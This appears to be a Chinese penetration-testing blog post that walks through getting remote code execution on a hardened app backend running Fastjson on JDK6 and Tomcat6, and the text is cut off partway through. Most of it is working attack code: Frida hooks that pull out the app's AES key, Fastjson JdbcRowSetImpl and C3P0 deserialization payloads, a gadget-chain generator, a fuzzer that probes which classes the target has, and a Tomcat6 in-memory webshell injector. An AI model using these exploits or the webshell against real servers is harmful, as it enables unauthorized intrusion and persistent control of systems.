敏感行业下的Fastjson打点实战:攻破加固N次的“古董级”系统

投稿卖钱的一篇文章,博客备份一下

前序:

一个被测过且加固了好多次的 App,后端某个接口存在 fastjson,jdk6+tocmat6极品上古环境,看我如何前台shell

开始

开局给了一个套了二代壳的APK文件:

笔者在测试App的时候,通常会先解压看下Androidmanifest.xml文件,很多时候从这个文件中的一些Activity名字基本上就可以判断出他的很多业务逻辑与功能,这就相当于一个web系统,他告诉了你他有哪些页面一样

大多时候App 中的 Activity 多为导出状态,可通过 Objection 实现越权访问,可以帮助我们快速判断了解其业务功能与大致存在的接口信息:

通过对导出 Activity 的越权,我们成功访问到了其应用内部的一处接口,该接口存在客户端侧的加密调用逻辑(加吧,正好不用绕waf了):

在这种场景下,可以借助Frida先跑一些通用的自吐加密算法,具体可以参考下我之前整理的:https://github.com/wa1ki0g/Script-For-FridaHook/tree/main/自吐算法

不过这个 App 使用了一些自定义的加密函数,脚本跑出来的结果不太准确。另外由于它是一个二代壳,脱壳难度不算大,所以我这里选择先进行脱壳,再进一步分析。

二代壳借助fart hook内存可以直接脱掉:

脱壳后发现其加密逻辑使用 AES,密钥由静态密钥拼接salt 构成。salt 经过混淆处理,加密处的代码逻辑为:

1
2
3
4
5
6
7
8
9
public static String encryptWithSalt(String plaintext) {
String salt = restoreSalt(OBFUSCATED_SALT);
String fullKey = salt + AES_KEY;

/*AES加密逻辑*/

return 字节数组的大写16进制
}

这里可以直接通过frida hook下这个函数,打印下值就能拿到了,hook.js:

1
2
3
4
5
6
7
8
9
10
11
12
Java.perform(function () {
const AESUtil = Java.use("com.example.myapplication.AESUtil");

AESUtil.encrypt.implementation = function (plainText) {
const salt = AESUtil.restoreSalt(AESUtil.OBFUSCATED_SALT.value);
const aesKey = AESUtil.AES_KEY.value;
const fullKey = salt + aesKey;
console.log("[FULL AES KEY]: " + fullKey);
return this.encrypt(plainText);
};

});

随便访问一个查询的接口,并抓下包,解密一下看看传过去的是个什么东西:

这里习惯给参数加上了单双引号,加密发送,发现报错信息syntax error, position at 0, name loginname

第一反应 fastjson,syntax error, position at 这个报错见的太多了,于是尝试确定。dnslog探测,

InetAddress Inet4Address Inet6Address URL 都试了,dns均没有收到。尝试通过报错直接显示版本,目标报错信息显示太少这里也没有直接显示出来:

1
2
{
"@type": "java.lang.AutoCloseable"

但是fuzzpayload的时候,发现JdbcRowSetImpl打ssrf延迟可以成功:

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

这回不仅可以确定fastjson,还可以确定版本了,@type:com.sun.rowset.JdbcRowSetImpl 直接能打,版本不会超过1.2.24的样子。ok那问题就变成了fastjson不出网。

先回顾下相关知识
fastjson连DNS都不出的情况下,像JNDI 、JDBC 这种需要出网的链基本都打不了,能利用的主要有三种方式:

  1. TemplatesImpl链
  2. DataSource+Bcel
  3. C3P0二次反序列化

先说第一个,TemplatesImpl,老生常谈的一个东西了,在很多gadget中最后rce的方式都是使用他去加载字节码:

1
TemplatesImpl#newTransformer()  →......→ TransletClassLoader#defineClass() 

而在fastjson中,因为_outputProperties属性的getter是直接调用了newTransformer()方法,所以可以直接使用TemplatesImpl去进行攻击:

但是这条链在fastjson中有个致命的缺陷,即TemplatesImpl一些会用到的属性几乎都是不存在setter的私有属性,所以就导致在不开启 Feature.SupportNonPublicField(是否支持访问和赋值类中的非 public 字段)的情况下是利用不了的,而且这玩意也不是默认开的,所以就导致实战中这个链几乎打不通的,当然这个目标也不例外。

pass掉第一种,再来简单说下第二个:DataSource+Bcel

rce的点是通过BasicDataSource类的一个getter即getConnection方法,会一直走到createConnectionFactory方法,然后根据我们传过去的loader名即com.sun.org.apache.bcel.internal.util.ClassLoader去获取该类并实例化该类

最终在loadclass中将BCEL字符串解码得到字节码并进行加载:

看完上面流程我们大致了解了,通过

1
2
3
org.apache.tomcat.dbcp.dbcp.BasicDataSource
com.sun.org.apache.bcel.internal.util.ClassLoader

就可以进行rce,com.sun.org.apache.bcel.internal.util.ClassLoader是jdk中自带的(限制版本为8u251之前),org.apache.tomcat.dbcp.dbcp.BasicDataSource又是tomcat中自带的,

1
2
tomcat6、7对应的路径是 org.apache.tomcat.dbcp.dbcp.BasicDataSource
Tomcat 8.0以后采用org.apache.tomcat.dbcp.dbcp2.BasicDataSource

那么是不是像一些文章中说的那样,在fastjson版本适合的情况下jdk版本也在8u251前就可以畅通无阻了呢?

并不是,我们拿此次的tomcat6的目标以及poc来看:

1
2
3
4
5
6
7
8
9
10
11
{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}

首先是要调用driverClassLoader与driverClassName的setter来对private私有变量进行赋值:

而在tomcat6中虽然也自带了org.apache.tomcat.dbcp.dbcp.BasicDataSource,但是可以发现其是没有driverClassLoader的setter方法,甚至是没有driverClassLoader这个变量的:

ok,那么最终我们的第二种方法也不行,还剩下了一种,同时也是在fastjson不出网中利用最广泛的一种,c3p0的二次反序列化。

其实关于关于C3P0的攻击方式主要也有三种,但是在不出网的情况下能用的也只有3:
1、利用URLClassLoader进行远程类加载
2、JNDI注入
3、HEX反序列化

简单说下他的原理,在fastjson中的触发点为userOverridesAsString属性的setter:

最终在C3P0ImplUtils#parseUserOverridesAsString 中处理16进制字符串并开始反序列化逻辑:

ok,那么现在问题就可以看成目标存在一个原生的反序列化漏洞,并且fastjson本身也是存在原生gadget的我们先利Thread.sleep尝试下延时,看看能不能执行代码成功:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class FAstGadget {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Thread.sleep(5000L);");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "wa1ki0g");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
FileOutputStream fileOut = new FileOutputStream("/tmp/FAstG.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(val);
out.close();
fileOut.close();
System.out.println("write /tmp/FAstG.ser");
}
}



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import com.alibaba.fastjson.JSON;
import java.io.*;
import static org.example.AESUtil.encryptByNoPadding2;

public class RealPOc {
public static void main(String[] args) throws IOException, ClassNotFoundException {
InputStream in = new FileInputStream("/tmp/FAstG.ser");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data, data.length);
String poc2 = "{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:" + HexString + ";\"}";
System.out.println("poc2:");
System.out.println(poc2);
System.out.println("flag="+encryptByNoPadding2(poc2));
System.out.println(HPOST.sendPostRequest("http://x/","flag="+encryptByNoPadding2(poc2)));

}
public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}

很遗憾,这里生成的poc并没有延时成功,难道连c3p0都没有?于是对拿出了自己之前整理过的依赖字典简单改了下并对目标进行fuzz,主要fuzz一些反序列化的依赖与JDK的特征类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
import org.example.AESUtil;
import java.util.*;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
public class FUzzYL {
public static final Map<String, List<String>> GADGET_CLASSES = new HashMap<>();
static {
GADGET_CLASSES.put("JNDI类", Arrays.asList(
"com.sun.rowset.JdbcRowSetImpl",
"org.apache.shiro.jndi.JndiObjectFactory",
"org.apache.shiro.realm.jndi.JndiRealmFactory",
"com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource",
"org.apache.commons.configuration.JNDIConfiguration",
"org.apache.commons.configuration2.JNDIConfiguration",
"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"org.apache.commons.proxy.provider.remoting.SessionBeanProvider",
"com.caucho.config.types.ResourceRef",
"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
"br.com.anteros.dbcp.AnterosDBCPConfig",
"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
"org.apache.xbean.propertyeditor.JndiConverter",
"oracle.jdbc.connector.OracleManagedConnectionFactory",
"org.apache.cocoon.components.slide.impl.JMSContentInterceptor",
"org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory",
"org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory"
));
GADGET_CLASSES.put("字节码&命令执行", Arrays.asList(
"org.apache.ibatis.type.Alias",
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"com.sun.org.apache.bcel.internal.util.ClassLoader",
"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"javax.el.ELProcessor",
"groovy.lang.GroovyShell",
"groovy.lang.GroovyClassLoader",
"org.apache.naming.factory.BeanFactory",
"org.yaml.snakeyaml.Yaml",
"com.thoughtworks.xstream.XStream",
"org.xmlpull.v1.XmlPullParserException",
"org.xmlpull.mxp1.MXParser",
"org.mvel2.sh.ShellSession",
"com.sun.glass.utils.NativeLibLoader",
"javax.management.loading.MLet"));
GADGET_CLASSES.put("文件读写", Arrays.asList(
"org.apache.commons.io.file.Counters",
"org.apache.commons.io.Charsets",
"org.aspectj.ajde.Ajde"));
GADGET_CLASSES.put("反序列化利用链", Arrays.asList(
"com.mysql.jdbc.Buffer",
"com.mysql.cj.protocol.AuthenticationProvider",
"com.mysql.cj.api.authentication.AuthenticationProvider",
"org.codehaus.groovy.control.CompilerConfiguration",
"org.apache.commons.collections.functors.InvokerTransformer", // CC1/CC3/CC7/CC31/CC40/CC41/CC322
"org.apache.commons.collections4.functors.InvokerTransformer", // CC4+ (CommonsCollections4)
"org.apache.commons.collections.functors.ChainedTransformer", // 组合Transformer
"org.apache.commons.collections.functors.ConstantTransformer",
"org.apache.commons.collections4.functors.ChainedTransformer",
"org.apache.commons.collections4.functors.ConstantTransformer",
"org.apache.commons.collections.functors.MapEntryTransformer",
"org.apache.commons.collections4.functors.MapEntryTransformer",
"org.apache.commons.collections.map.LazyMap",
"org.apache.commons.collections.keyvalue.TiedMapEntry",
"org.apache.commons.collections.map.TransformedMap",
"org.apache.commons.collections.map.PredicatedMap",
"org.apache.commons.collections.functors.InstantiateTransformer",
"org.apache.commons.collections.functors.ConstantTransformer",
"org.apache.commons.collections.functors.FactoryTransformer",
"org.apache.commons.collections4.map.LazyMap",
"org.apache.commons.collections4.keyvalue.TiedMapEntry",
"org.apache.commons.collections4.map.TransformedMap",
"org.apache.commons.collections4.map.PredicatedMap",
"org.apache.commons.collections4.functors.InstantiateTransformer",
"org.apache.commons.collections4.functors.InvokerTransformer",
"org.apache.commons.collections4.functors.ChainedTransformer",
"org.apache.commons.collections4.functors.ConstantTransformer",
"org.apache.commons.collections4.functors.FactoryTransformer",
"org.apache.commons.beanutils.BeanComparator",
"org.apache.commons.logging.LogFactory",// CB17/CB18x/CB19x
"org.apache.commons.beanutils.PropertyUtilsBean",
"com.sun.syndication.feed.impl.ObjectBean", // ROME1000/ROME1111
"groovy.lang.GroovyShell", // Groovy1702311、Groovy24x、Groovy244
"groovy.lang.GroovyClassLoader",
"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", // C3P0 0.9.5.x
"com.mchange.v2.c3p0.JndiRefForwardingDataSource", // C3P0 0.9.2.x
"bsh.XThis", // Bsh20b4/5/6
"com.fasterxml.jackson.databind.node.POJONode", // Jackson 默认反序列化Gadget点
"com.fasterxml.jackson.databind.ObjectMapper",
"com.alibaba.fastjson.JSONObject",
"com.alibaba.fastjson.parser.ParserConfig",
"sun.reflect.annotation.AnnotationInvocationHandler", // Jdk7u21
"sun.rmi.server.UnicastRef", // RMI 链基础组件
"javax.management.BadAttributeValueExpException", // JRE8u20
// AspectJ Ajw
"org.aspectj.weaver.tools.cache.DefiningClassLoader",
"org.aspectj.weaver.tools.GeneratedClassHandler",
"org.apache.bcel.util.ClassLoader"));
GADGET_CLASSES.put("JDBC相关", Arrays.asList(
"org.h2.Driver",
"org.postgresql.Driver",
"com.mysql.jdbc.Driver",
"com.mysql.cj.jdbc.Driver",
"org.h2.jdbcx.JdbcDataSource",
"com.mysql.fabric.jdbc.FabricMySQLDriver",
"oracle.jdbc.driver.OracleDriver",
"org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory",
"org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory",
"org.apache.commons.dbcp.BasicDataSourceFactory",
"org.apache.commons.dbcp2.BasicDataSourceFactory",
"org.apache.commons.pool.KeyedObjectPoolFactory",
"org.apache.commons.pool2.PooledObjectFactory",
"org.apache.tomcat.jdbc.pool.DataSourceFactory",
"org.apache.juli.logging.LogFactory",
"com.alibaba.druid.pool.DruidDataSourceFactory"
));
GADGET_CLASSES.put("WebSphere RCE", Arrays.asList(
"com.ibm.ws.client.applicationclient.ClientJ2CCFFactory",
"com.ibm.ws.webservices.engine.client.ServiceFactory"
));
GADGET_CLASSES.put("XXE与文件写入", Arrays.asList(
"org.apache.catalina.UserDatabase",
"org.apache.catalina.users.MemoryUserDatabaseFactory"
));
GADGET_CLASSES.put("辅助依赖环境判断", Arrays.asList(
"org.springframework.web.bind.annotation.RequestMapping",
"org.apache.catalina.startup.Tomcat",
"com.mchange.v2.c3p0.DataSources"
));
GADGET_CLASSES.put("JDK 6 特征类", Arrays.asList(
"sun.nio.cs.UTF_8", // 存在于 JDK6,也存在于后续,但JDK6中用于默认编码判断
"sun.misc.BASE64Encoder", // JDK6 存在,JDK8 后废弃,被 java.util.Base64 替代
"sun.misc.Unsafe", // 早期版本更常见,JDK9+被封装,JDK6可直接用反射调用
"java.util.Date", // JDK6主力时间类,JDK8后被java.time.*替代
"java.util.Calendar",
"com.sun.xml.internal.ws.client.AsyncResponseImpl", // JDK6 内置 WebService 实现类
"javax.xml.bind.JAXBContext", // JDK6 内置 XML 绑定 API,JDK11 移除需手动引入
"com.sun.tools.javac.Main", // Java Compiler Tools - javac 主类
"com.sun.tools.javadoc.Main", // Javadoc 工具类
"com.sun.security.auth.module.UnixLoginModule", // JDK6 标准模块之一,部分在JDK8后移除
"javax.swing.plaf.metal.MetalLookAndFeel" // Swing 中经典主题类
));
GADGET_CLASSES.put("JDK 7 特征类", Arrays.asList(
"java.nio.file.Path", // NIO.2 文件系统 API(JDK 7 引入)
"java.nio.file.Files",
"java.nio.file.attribute.BasicFileAttributes",
"java.nio.file.StandardWatchEventKinds",
"java.nio.file.WatchService",
"java.lang.AutoCloseable", // try-with-resources 和 AutoCloseable
"java.util.Objects", // java.util.Objects 工具类(JDK 7 新增)
"java.util.concurrent.ForkJoinPool", // Fork/Join 并发框架(JDK 7 引入)
"java.util.concurrent.ForkJoinTask", // com.sun.nio(扩展支持 NIO)
"com.sun.nio.zipfs.ZipFileSystemProvider" // JDK 7 内置 zip 文件系统支持
));
GADGET_CLASSES.put("JDK 8 特征类", Arrays.asList(
"sun.nio.cs.GBK",
"java.util.Spliterator",
"java.util.concurrent.CompletableFuture",
"java.util.Optional",
"java.util.stream.Stream",
"java.time.LocalDate",
"java.time.LocalTime",
"java.time.LocalDateTime",
"java.time.Duration",
"java.time.Period",
"java.time.Instant",
"java.util.function.Function",
"java.util.function.Predicate",
"java.util.function.Supplier",
"java.util.function.Consumer",
"java.time.format.DateTimeFormatter"
));
GADGET_CLASSES.put("JDK 9+ 特征类", Arrays.asList(
"java.lang.Module",
"java.util.concurrent.Flow",
"java.lang.invoke.VarHandle",
"java.util.OptionalInt",
"java.util.OptionalLong",
"java.util.OptionalDouble",
"java.net.http.HttpClient",
"java.lang.StackWalker",
"java.nio.file.Files"
));
GADGET_CLASSES.put("JDK 11 特征类", Arrays.asList(
"java.net.http.HttpClient",
"java.lang.invoke.ConstantBootstraps",
"java.util.concurrent.Flow",
"java.nio.file.Files"
));
GADGET_CLASSES.put("JDK 14 特征类", Arrays.asList(
"java.lang.Record",
"java.lang.constant.Constable"
));
GADGET_CLASSES.put("JDK 15 特征类", Arrays.asList(
"java.net.http.HttpRequest",
"java.net.http.HttpResponse"
));
GADGET_CLASSES.put("JDK 16 特征类", Arrays.asList(
"java.util.random.RandomGenerator"
));
GADGET_CLASSES.put("JDK 17 特征类", Arrays.asList(
"java.net.spi",
"java.util.random.RandomGeneratorFactory"
));
}
public static void main(String[] args) {
String targetUrl = "http://x/";
for (Map.Entry<String, List<String>> entry : FUzzYL.GADGET_CLASSES.entrySet()) {
String category = entry.getKey();
List<String> classList = entry.getValue();
System.out.println("====== " + category + " 开始 ======");
for (String className : entry.getValue()) {
String payload = "{\"x\":{\"@type\":\"java.lang.Character\"{\"@type\":\"java.lang.Class\",\"val\":\""+className+"\"}}";
String response = poc2(targetUrl, "flag="+AESUtil.encryptByNoPadding2(payload));
if (response != null && response.contains("can not cast to char")) {
System.out.println("依赖存在: " + className);
}
}
}
}
}


可以看下我们执行的结果,可以发现是存在C3p0的:

这里接着往下看可以发现fuzz出了目标是JDK6:

这里先简单介绍下那个fastjson1的gadget,如果分析过fastjson那条原生gadget可以知道:

1
通过BadAttributeValueExpException#readObject去触发toString,然后调用toJSONString,再调用getter,实现反序列化利用。

Ok,我们debug下jdk6的代码,可以看到jdk6中的BadAttributeValueExpException,并没有重写readObject方法,甚至他的父类和祖父类都没有重写:

ok,原因找到了。对于这里可以另外找几个会触发toString的,这就又变成了一个经典的CTF问题,toString被黑名单,这里感兴趣的师傅可以去看下另外的文章,但是在本环境中几乎没有行的通的。

这里可以说个题外的东西:我们再使用某些版本的idea去debug模式下调试gadget的时候,调试器显示 xx 的内容的时候,可能会去调用 toString(),导致提前执行gadget,比如这条fastjson的gadget,感兴趣的师傅可以去试下。

其实看到里面有cc的依赖,我这里最开始也尝试了利用cc1+TemplatesImpl+cp30进行Thread.sleep,但是也没有成功,debug下发现了个好玩的问题,比如当我们使用如下代码也就是利用javassist去生成恶意字节码时,网上的各种漏洞的利用工具几乎都是通过javassist去生成字节码的,示例代码:

1
2
3
4
5
6
7
8
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Thread.sleep(5000L);");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};

可以看到他这里对当前的MAJOR_VERSION通过一些特征进行了判断,并生成相应版本的字节码:

Java 8 编译代码,默认会生成 major_version = 52 的字节码,而 Java 6 只支持到 major_version = 50。因此,Java 6 JVM 加载该 class 文件时,会因版本过报错。而TemplatesImpl就是通过加载class去执行代码的,这里我们可以通过setMajorVersion方法去修改版本,或者使用对应JDK生成就好了。那么最后一个bug找到了,使用cc1+TemplatesImpl打个延时试下,加密发送paylpad,发现延迟成功:

ok,可以执行代码了,尝试注内存马拿shell,这里目标是tomcat6的环境,而之前就有师傅发过了相关文章,可以通过遍历线程的方式去获得tomcat6的上下文,大致逻辑为:

1
2
3
4
5
6
7
通过如下方式遍历线程:
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
找当前正在处理 HTTP 请求的线程
Object processors = getField(getField(getField(target, "this$0"), "handler"), "global")
再进一步获取:
List processors = (ArrayList) getField(object, "processors");

但是在本地测试时很不稳定,并且目标也没有成功,猜测是可能HTTP 请求处理线程已经处理完了,但是恶意字码还没有执行完,导致当前遍历线程时得到的结果为NULL,所以这里根据一些师傅放出的代码和文章改了一版能稳定利用的.java的代码,注入器代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Properties;
import java.util.logging.Logger;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardEngine;
import org.apache.catalina.core.StandardHost;
import org.apache.tomcat.util.buf.MessageBytes;

public class newINject extends AbstractTranslet {
static String uri;
static String serverName;
static StandardContext standardContext;

public static Object getField(Object object, String fieldName) {
Field declaredField;
Class clazz = object.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (NoSuchFieldException e) {
} catch (IllegalAccessException e) {
}
clazz = clazz.getSuperclass();
}
return null;
}
public static byte[] base64Decode(String str) throws Exception {
Class clazz;
try {
clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception var3) {
clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
public static void getStandardContext() {
String ANSI_YELLOW = "\u001B[33m";
String ANSI_GREEN = "\u001B[32m";
String ANSI_RESET = "\u001B[0m";
Logger log = Logger.getLogger("113");
log.info(ANSI_YELLOW + "getStandardContext method ing..." + ANSI_RESET);
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread == null || thread.getName().contains("exec")) {
continue;
}
if ((thread.getName().contains("Acceptor") || thread.getName().contains("Poller")) &&
thread.getName().contains("http")) {
log.info("thread: " + thread.getName());
Object target = getField(thread, "target");
log.info("target: " + target);
Object jioEndPoint = null;
if (thread.getName().contains("Poller")) {
try {
jioEndPoint = getField(target, "this$0");
log.info("jioEndPoint: " + jioEndPoint);
} catch (Exception ignored) {}
} else if (thread.getName().contains("Acceptor")) {
try {
jioEndPoint = getField(target, "endpoint");
log.info("jioEndPoint: " + jioEndPoint);
} catch (Exception e) {
log.warning("异常,准备return " + e);
return;
}
}
Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
log.info("service: " + service);
StandardEngine engine = null;
try {
engine = (StandardEngine) getField(service, "container");
log.info("engine: " + engine);
} catch (Exception ignored) {}

if (engine == null) {
engine = (StandardEngine) getField(service, "engine");
log.info("engine: " + engine);
}
HashMap<?, ?> children = (HashMap<?, ?>) getField(engine, "children");
log.info("children: " + children);
try {
StandardHost standardHost = (StandardHost) children.get(serverName);
children = (HashMap<?, ?>) getField(standardHost, "children");
log.info("standardHost: " + standardHost);
for (Object contextKey : children.keySet()) {
String key = (String) contextKey;
if (!(uri.startsWith(key))) continue;
standardContext = (StandardContext) children.get(key);
return;
}
} catch (Exception e) {
StandardHost standardHost = (StandardHost) children.get("localhost");
log.info("standardHost: " + standardHost);
try {
children = (HashMap<?, ?>) getField(standardHost, "children");
for (Object contextKey : children.keySet()) {
String key = (String) contextKey;
if (uri.startsWith(key) && !key.equals("")) {
standardContext = (StandardContext) children.get(key);
log.warning(ANSI_GREEN + "standardContext: " + standardContext + ANSI_RESET);
return;
}
}
} catch (Exception ignored) {}
}
}
}
}
public static StandardContext getStandardContextInstance() {
return standardContext;
}
public static void extractRequestContext() {
String ANSI_RESET = "\u001B[0m";
String ANSI_RED = "\u001B[31m";
Logger log = Logger.getLogger("main");

Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
Object object;

for (Thread thread : threads) {
if (thread == null || thread.getName().contains("exec")) {
continue;
}
log.info(ANSI_RED + "main_thread: " + thread + ANSI_RESET);
if (thread.getName().contains("Acceptor") || thread.getName().contains("Poller")) {
Object target = getField(thread, "target");
log.info("main_target: " + target);
log.info(String.valueOf(target instanceof Runnable));
if (!(target instanceof Runnable)) {
continue;
}
try {
object = getField(getField(getField(target, "this$0"), "handler"), "global");
} catch (Exception e) {
continue;
}
if (object == null) {
continue;
}
ArrayList<?> processors = (ArrayList<?>) getField(object, "processors");
for (Object next : processors) {
Object req = getField(next, "req");
Object serverPort = getField(req, "serverPort");
if (serverPort.equals(-1)) {
continue;
}
log.info("req: " + req);
MessageBytes serverNameMB = (MessageBytes) getField(req, "serverNameMB");
serverName = (String) getField(serverNameMB, "strValue");
if (serverName == null) serverName = serverNameMB.toString();
if (serverName == null) serverName = serverNameMB.getString();

log.info(serverName);

MessageBytes uriMB = (MessageBytes) getField(req, "uriMB");
uri = (String) getField(uriMB, "strValue");
if (uri == null) uri = uriMB.toString();
if (uri == null) uri = uriMB.getString();

log.info(uri);
getStandardContext();
}
}
}
}
public newINject() {
try {
newINject.extractRequestContext();
StandardContext context = newINject.getStandardContextInstance();
System.out.println("获取的StandardContext: " + context);
String filterName = "wa1k";
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
String result = "内存马classBase64";
byte[] code = base64Decode(result);
Class filter = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), code, 0, code.length);
Object evilFilter = filter.newInstance();
//EvilFilter evilFilter = new EvilFilter();
Constructor filterDefConstructor =org.apache.catalina.deploy.FilterDef.class.getConstructor(new Class[]{});
org.apache.catalina.deploy.FilterDef filterDef=(org.apache.catalina.deploy.FilterDef)filterDefConstructor.newInstance();
filterDef.setFilterName(filterName);
Method addFilterDef=standardContext.getClass().getMethod("addFilterDef", org.apache.catalina.deploy.FilterDef.class);
addFilterDef.invoke(standardContext,filterDef);
filterDef.setFilterClass(evilFilter.getClass().getName());
if(filterDef.getParameterMap().get("encoding")!=null){
filterDef.addInitParameter("encoding","utf-8");
}
Constructor filterMapConstructor =org.apache.catalina.deploy.FilterMap.class.getConstructor(new Class[]{});
org.apache.catalina.deploy.FilterMap filterMap=(org.apache.catalina.deploy.FilterMap)filterMapConstructor.newInstance();
filterMap.setFilterName(filterDef.getFilterName());
